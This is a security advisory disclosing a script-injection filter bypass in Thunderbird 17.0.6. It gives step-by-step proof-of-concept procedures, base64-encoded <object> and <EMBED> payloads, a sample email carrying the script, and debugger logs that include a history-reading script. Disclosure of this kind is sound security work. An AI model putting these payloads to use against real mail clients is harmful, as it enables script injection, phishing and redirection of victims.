Mozilla Thunderbird 17.0.6 – Input Validation Filter Bypass
Document Title: =============== Mozilla Bug Bounty #5 - WireTap Remote Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=953 Mozilla Bug Tracking ID: 875818 Video: http://www.vulnerability-lab.com/get_content.php?id=1182 Partner News (Softpedia): http://news.softpedia.com/news/Critical-Validation-and-Filter-Bypass-Vulnerability-Fixed-in-Thunderbird-420962.shtml Release Date: ============= 2014-01-27 Vulnerability Laboratory ID (VL-ID): ==================================== 953 Common Vulnerability Scoring System: ==================================== 7.3 Product & Service Introduction: =============================== Thunderbird is a free, open-source, cross-platform application for managing email and news feeds. It is a local (rather than a web-based) email application that is powerful yet easy-to-use. Thunderbird has lots of cool features. Thunderbird gives you control and ownership over your email. There are lots of add-ons available for Thunderbird that enable you to extend and customize your email experience. Thunderbird is part of the Mozilla Manifesto, a pledge that describes Mozilla`s commitment to an open, accessible, egalitarian Internet. ( Copy of the Vendor Homepage: http://www.mozilla.org ) ( Copy of the Product Homepage: http://www.mozilla.org/en-US/thunderbird/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a critical validation and filter bypass vulnerability in the official Mozilla Thunderbird 17.0.6 email software. Vulnerability Disclosure Timeline: ================================== 2013-05-10: Researcher Notification & Coordination (Ateeq ur Rehman Khan) 2013-05-11: Vendor Notification (Mozilla Security Incident Team) 2013-05-21: Vendor Response/Feedback (Mozilla Security Incident Team) 2014-01-18: Vendor Fix/Patch (Mozilla Developer Team - Reward 1.500$ SWB) 2014-01-27: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Mozilla Product: Thunderbird - EMail Application 17.0.6 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ It has been discovered that the security controls / filters currently being used in Mozilla Thunderbird application can be easily evaded if an attacker decides to encrypt the payloads with base64 encryption and combine it with the <object> tag. During the testing, it was initially noticed that malicious javascript tags were being filtered / blocked in the Thunderbird application however, Attaching a debugger with the Thunderbird .exe file revealed some very interesting information and gave much better insight behind the actual working of the application. Most of the information revealed is Javascript errors which gave the researcher much hope in believing that the application might actually be vulnerable. By default, HTML tags like <script> and <iframe> are blocked in Thunderbird and get filtered immediately upon insertion however, While drafting a new email message, attackers can easily bypass the current input filters by encoding their payloads with base64 encryption and using the <object> tag and insert malicious scripts / code eg. (script / frame) within the emails and send it to the victims. The exploit gets triggered once the victim decides to reply back and clicks on the `Reply` or `Forward` Buttons. After successfully bypassing the input filters, an attacker can inject persistent script code while writing a new email and send it to victims. Interestingly the payload gets filtered during the initial viewing mode however if the victim clicks on Reply or Forward, the exploit gets executed successfully. For a POC i will be including multiple examples in this advisory for your review. I was able to run multiple scripts generating strange behaviour on the application which can be seen in the debugging errors which I have attached along with this report. These sort of vulnerabilities can result in multiple attack vectors on the client end which may eventually result in complete compromise of the end user system. The persistent code injection vulnerability is located within the main application. Exploitation of this persistent application vulnerability requires a low or medium user interaction. Successful exploitation of the vulnerability may result in malicious script code being executed in the victims browser resulting in script code injection, persistent phishing, Client side redirects and similar client side attacks. Vulnerable Service(s): [+] Mozilla Thunderbird 17.0.6 - Latest Release Vulnerable Section(s): [+] Write (Create a new message) [+] Email Signature (Account Settings) [+] Attach File with Signature as HTML (Account Settings) Proof of Concept (PoC): ======================= The filter bypass & persistent script code inject web vulnerabilities can be exploited by remote attackers without privileged user account or direct user interaction. For security demonstration or to reproduce the vulnerability follow the provided steps and information below. Proof of Concept #1 a) Create a new email message b) In the body text, insert new HTML tag with the POC "Payload" c) Send the email to the victim d) Open the new email in the victim browser and click Reply e) You should now see a Javascript Application popup window proving the existence of this vulnerability. Proof of Concept #2 a) Goto Tools and then Account Settings b) Under the Signature Text, insert the Payload and enable 'Use HTML' c) Close the menu and Click on "Write" to create a new email d) You should get a popup the moment new Email editor window opens up proving the existence of this vulnerability. Proof of Concept #3 a) Create a new text file on your desktop (local computer) and insert the POC payload in it and save it as test.html (HTML) b) Goto Tools and then Account Settings c) Below the Signature Text box, enable 'Attach the signature from a file instead' d) Click Choose and select the 'test.html' file which you created in step a. e) Click on Write and you should be able to see the Javascript popup proving the existence of this vulnerability. Payload #1 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiTW96aWxsYS1UaHVuZGVyYmlyZC1TY3JpcHQtQ29kZS1JbmplY3Rpb24t UE9DLUF0ZWVxLUtoYW4iKTs8L3NjcmlwdD4= "></object> Payload #2 <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov L3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5 L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIk1vemlsbGEt VGh1bmRlcmJpcmQtU2NyaXB0LUNvZGUtSW5qZWN0aW9uLVBPQy1BdGVlcS1LaGFuIik7PC9zY3Jp cHQ+PC9zdmc+" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 1.3 POC Technical Description: Here, we used the data URI payload as a value assigned to the ‘data’ attribute of the ‘object’ tag. The <object> tag is used to include objects such as images, audio, videos, Java applets, ActiveX, PDF, and Flash. The ‘data’ attribute of the object tag defines a URL that refers to the object’s data. Data in the "data:" URI is encoded as a base64 string: Base64-encoded payload: PHNjcmlwdD5hbGVydCgiTW96aWxsYS1UaHVuZGVyYmlyZC1TY3JpcHQtQ29kZS1JbmplY3Rpb24tUE9DLUF0ZWVxLUtoYW4iKTs8L3NjcmlwdD4= Base64-decoded payload: <script>alert("Mozilla-Thunderbird-Script-Code-Injection-POC-Ateeq-Khan");</script> When the browser loads the object tag, it loads an object (in our case, it’s a javascript) assigned to its data attribute. This causes execution of our javascript. We were able to bypass the application blacklist filter because of the base64-encoded payload. 1.4 Email Header showing the hidden malicious payload Message-ID: <5195AABB.9000409@ccure.it> Date: Fri, 17 May 2013 08:57:47 +0500 From: Ateeq Khan <ateeq@ccure.it> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130509 Thunderbird/17.0.6 MIME-Version: 1.0 To: ateeq <ateeq@ccure.it> Subject: Test X-Enigmail-Version: 1.5.1 Content-Type: multipart/alternative; boundary="------------070707070308040102070208" X-Provags-ID: V02:K0:x1sxyB72JjArK0t7OpMGlUdnbY0vjneQvJdkX/twIfw QgzRaY5JN/SeFJ/fl2yULg+LJCKojYYGFR/8wrcS9hv6B6WWrN mur6d1IsxEn2D2kZt5fQ3tk8Z1qDiEpN5C7vrtOyEFAMJR3NHg jsL6elL9oxDkDRj1rYWvipndH1vonoPT3kjbcmuPsEZwYZ0JkL BjvA5CQE3qDMPgd5nzdT8SqKBRrj9u7m/irxCWHeJcnAG0XBnK txadh05EhpYjzrsz2kd+EyQe8ABh9F+yHQs6PBgIJeMDhm3EmY KPDb5TDHAsnDSD7e3jSaj1t/jhHWc4OA+Okkw+PsyBasdNvzw= = X-UI-Junk: AutoNotJunk -999 (UWL); V01:9SSPrMSv:3OJduITnBKJW2sO9FDRIJW8REKQH86F2DhxLUWcUUFzS1g0JhJ7 GgRkniiwfqYstxpjhSj957gz/8tEx07A4XeXZriK0TD0WhS1DXezTz/TtZsDYDEh hoWYOFl3bb5yC2QDLQsFZpUW8W11Q1ueL83Jxhvv1UmeH1zGnYFLHhAFOpzxH4jN 652vXWc8dXjmX/WjTrvcI6NDjWdTTTfnDoO2PVFxLR+Tspu5HEv+SDuyrKv18Pei ogK+aeYsHnGw+Sv4tyfEE3I/nLbDefudGihBnld6s0loLxOOAGeIYxOeZ4Je+v0h MH9Y6ICIP7qvG/CkWt1PYQDzeNRPMANzlOgD/c//0kMjpKd6GwFWZIgfLyEFGGGA 5ghpw5skyHXrAcf+FBq4ayJpL2UIfGeghWw== X-Nemesis-Spam: whitelist Envelope-To: ateeq@ccure.it This is a multi-part message in MIME format. --------------070707070308040102070208 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit -- --------------070707070308040102070208 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit <html> <head> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"> </head> <body text="#000000" bgcolor="#FFFFFF"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiTW96aWxsYS1UaHVuZGVyYmlyZC1TY3JpcHQtQ29kZS1JbmplY3Rpb24tUE9DLUF0ZWVxLUtoYW4iKTs8L3NjcmlwdD4= "></object> <div class="moz-signature">-- <br> <script>alert(1)</script></div> </body> </html> --------------070707070308040102070208-- 1.5 Interesting Raw Application Logs captured during the entire process of testing: (4fbc.3828): Break instruction exception - code 80000003 (first chance) eax=fff82000 ebx=00000000 ecx=00000000 edx=7792f85a esi=00000000 edi=00000000 eip=778a000c esp=0ffffd94 ebp=0ffffdc0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!DbgBreakPoint: 778a000c cc int 3 0:040> g [JavaScript Error: "Search service falling back to synchronous initialization at SRCH_SVC__ensureInitialized@resource:///components/nsSearchService.js:2498 @resource:///components/nsSearchService.js:3476 _adjustAcItem@chrome://messenger/content/webSearch.xml:42 @chrome://messenger/content/webSearch.xml:22 " {file: "resource:///components/nsSearchService.js" line: 2499}] [JavaScript Error: "2013-05-18 06:02:42 gloda.datastore ERROR Async queryFromQuery error: 1: malformed MATCH expression: ["<EMBED" "SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov,L3d3dy53My5vcmcvMjA wMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5"] " {file: "resource:///modules/gloda/log4moz.js" line: 687}] 2013-05-18 06:02:42 gloda.datastore ERROR Async queryFromQuery error: 1: malformed MATCH expression: ["<EMBED" "SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov,L3d3dy53My5vcmcvMjA wMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5"] [JavaScript Error: "2013-05-18 06:02:42 gloda.datastore ERROR Async queryFromQuery error: 1: malformed MATCH expression: ["<EMBED" "SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov,L3d3dy53My5vcmcvMjA wMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5"] " {file: "resource:///modules/gloda/log4moz.js" line: 687}] 2013-05-18 06:02:42 gloda.datastore ERROR Async queryFromQuery error: 1: malformed MATCH expression: ["<EMBED" "SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov,L3d3dy53My5vcmcvMjA wMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5"] [JavaScript Error: "An error occurred executing the cmd_insertHTMLWithDialog command: [Exception... "Could not convert Native argument arg 3 [nsIDOMJSWindow.openDialog]" nsresult: "0x8057000a (NS_ERROR_XPC_BAD_CONVERT_NATIVE)" location: "JS frame :: chrome://editor/content/ComposerCommands.js :: <TOP_LEVEL> :: line 2790" data: no]" {file: "chrome://global/content/globalOverlay.js" line: 95}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Error: "IndexSizeError: Index or size is negative or greater than the allowed amount" {file: "chrome://messenger/content/glodaFacetBindings.xml" line: 1736}] [JavaScript Error: "IndexSizeError: Index or size is negative or greater than the allowed amount" {file: "chrome://messenger/content/glodaFacetBindings.xml" line: 1736}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/folderDisplay.js" line: 2342}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/folderDisplay.js" line: 2342}] [JavaScript Warning: "The character encoding of a framed document was not declared. The document may appear different if viewed without the document framing it." {file: "data:text/html;base64,PHNjcmlwdD5hbGVydCgiTW96aWxsYS1UaHVuZGVyYmlyZC1TY3JpcHQtQ29kZS1JbmplY3Rpb24tUE9DLUF0ZWVxLUtoYW4iKTs8L3NjcmlwdD4=" line: 0}] [JavaScript Error: "IndexSizeError: Index or size is negative or greater than the allowed amount" {file: "chrome://messenger/content/glodaFacetBindings.xml" line: 1736}] [JavaScript Error: "IndexSizeError: Index or size is negative or greater than the allowed amount" {file: "chrome://messenger/content/glodaFacetBindings.xml" line: 1736}] [JavaScript Warning: "The character encoding of a framed document was not declared. The document may appear different if viewed without the document framing it." {file: "data:text/html;base64,PHNjcmlwdD5hbGVydCgiTW96aWxsYS1UaHVuZGVyYmlyZC1TY3JpcHQtQ29kZS1JbmplY3Rpb24tUE9DLUF0ZWVxLUtoYW4iKTs8L3NjcmlwdD4=" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messenger.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messenger.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/folderDisplay.js" line: 1621}] [JavaScript Warning: "The character encoding of a framed document was not declared. The document may appear different if viewed without the document framing it." {file: "data:text/html;base64,PHNjcmlwdD5hbGVydCgiTW96aWxsYS1UaHVuZGVyYmlyZC1TY3JpcHQtQ29kZS1JbmplY3Rpb24tUE9DLUF0ZWVxLUtoYW4iKTs8L3NjcmlwdD4=" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://global/content/bindings/toolbar.xml" line: 276}] "chrome://global/content/bindings/general.xml" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] No chrome package registered for chrome://navigator/content/navigator.xul [JavaScript Error: "NS_ERROR_FAILURE: Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMJSWindow.open]" {file: "data:text/html;base64, PFNDUklQVD4KdmFyIHdpbiA9IHdpbmRvdy5vcGVuKCk7Cm5ldHNjYXBlLnNlY3VyaXR5LlByaXZpbGVnZU1hbmFnZXIuZW5hYmxlUHJpdmlsZWdlKAogIlVuaXZlcnNhbEJyb3dzZXJBY2Nlc3MiKTsKZm9 yICh2YXIgaT0wOyBpIDwgaGlzdG9yeS5sZW5ndGg7IGkrKykgewogd2luLmRvY3VtZW50LndyaXRlbG4oaGlzdG9yeVtpXSArICI8QlI+Iik7Cn0KbmV0c2NhcGUuc2VjdXJpdHkuUHJpdmlsZWdlTWFuYW dlci5yZXZlcnRQcml2aWxlZ2UoCiAiVW5pdmVyc2FsQnJvd3NlckFjY2VzcyIpOwp3aW4uY2xvc2UoKTsKPC9TQ1JJUFQ+" line: 2}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] No chrome package registered for chrome://navigator/content/navigator.xul [JavaScript Error: "NS_ERROR_FAILURE: Component returned failure code: 0x80004005 (NS_ERROR_FAILURE) [nsIDOMJSWindow.open]" {file: "data:text/html;base64, PFNDUklQVD4KdmFyIHdpbiA9IHdpbmRvdy5vcGVuKCk7Cm5ldHNjYXBlLnNlY3VyaXR5LlByaXZpbGVnZU1hbmFnZXIuZW5hYmxlUHJpdmlsZWdlKAogIlVuaXZlcnNhbEJyb3dzZXJBY2Nlc3MiKTsKZm9y ICh2YXIgaT0wOyBpIDwgaGlzdG9yeS5sZW5ndGg7IGkrKykgewogd2luLmRvY3VtZW50LndyaXRlbG4oaGlzdG9yeVtpXSArICI8QlI+Iik7Cn0KbmV0c2NhcGUuc2VjdXJpdHkuUHJpdmlsZWdlTWFuYWdl ci5yZXZlcnRQcml2aWxlZ2UoCiAiVW5pdmVyc2FsQnJvd3NlckFjY2VzcyIpOwp3aW4uY2xvc2UoKTsKPC9TQ1JJUFQ+" line: 2}] [JavaScript Error: "An error occurred executing the cmd_insertHTMLWithDialog command: [Exception... "Could not convert Native argument arg 3 [nsIDOMJSWindow.openDialog]" nsresult: "0x8057000a (NS_ERROR_XPC_BAD_CONVERT_NATIVE)" location: "JS frame :: chrome://editor/content/ComposerCommands.js :: <TOP_LEVEL> :: line 2790" data: no]" {file: "chrome://global/content/globalOverlay.js" line: 95}] [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] Security Error: Content at moz-nullprincipal:{37db781d-d6d3-44bb-ade4-a79dcc63c0dd} may not load or link to about:blank. Security Error: Content at moz-nullprincipal:{44bab10a-4bd8-4cfb-a519-eb2535344039} may not load or link to about:blank [JavaScript Error: "[Exception... "'DB failed getting form autocomplete values' when calling method: [nsIFormAutoComplete::autoCompleteSearch]" nsresult: "0x8057001e (NS_ERROR_XPC_JS_THREW_STRING)" location: "<unknown>" data: no]"] [JavaScript Error: "aSubject.popup is undefined" {file: "resource:///modules/glodaWebSearch.js" line: 68}] [JavaScript Warning: "The stylesheet data:,*%7bx:<script>alert(1)</script>askjn</h1>expression(write(2))%7D was loaded as CSS even though its MIME type, "text/plain", is not "text/css"." {file: "about:blank" line: 0}] [JavaScript Warning: "Unknown property 'x'. Declaration dropped." {file: "data:,*%7bx:<script>alert(1)</script>askjn</h1>expression(write(2))%7D" line: 1] [JavaScript Error: "GenericSendMessage FAILED: [Exception... "Component returned failure code: 0x8055311a [nsIMsgCompose.SendMsg]" nsresult: "0x8055311a (<unknown>)" location: "JS frame :: chrome://messenger/content/messengercompose/MsgComposeCommands.js :: GenericSendMessage :: line 2814" data: no]" {file: "chrome://messenger/content/messengercompose/MsgComposeCommands.js" line: 2817}] "chrome://messenger/content/messengercompose/messengercompose.xul" line: 0}] [JavaScript Warning: "Use of attributes' nodeValue attribute is deprecated. Use value instead." {file: "chrome://messenger/content/messengercompose/MsgComposeCommands.js" line: 3996}] Security Error: Content at moz-nullprincipal:{549c3f5a-560d-4469-9b0f-09f598998b0b} may not load or link to about:blank. Security Error: Content at moz-nullprincipal:{63e416e7-9cc4-458f-b93d-882bb2ad9121} may not load or link to about:blank. [JavaScript Warning: "XUL box for _moz_generated_content_before element contained an inline #text child, forcing all its children to be wrapped in a block." {file: "chrome://global/content/bindings/general.xml" line: 0}] [JavaScript Error: "Search service falling back to synchronous initialization at SRCH_SVC__ensureInitialized@resource:///components/nsSearchService.js:2498 @resource:///components/nsSearchService.js:3476 _adjustAcItem@chrome://messenger/content/webSearch.xml:42 @chrome://messenger/content/webSearch.xml:22 [JavaScript Warning: "The stylesheet data:,*%7bx:<script>alert(1)</script>askjn</h1>expression(write(2))%7D was loaded as CSS even though its MIME type, "text/plain", is not "text/css"." {file: "about:blank" line: 0}] stylesheet was loaded successfully as text/plain even though it should have been. Solution - Fix & Patch: ======================= 2014-01-18: Vendor Fix/Patch (Mozilla Developer Team - Reward 1.500$ SWB) Security Risk: ============== The security risk of the persistent input validation vulnerabilities and filter bypass is estimated as high(+). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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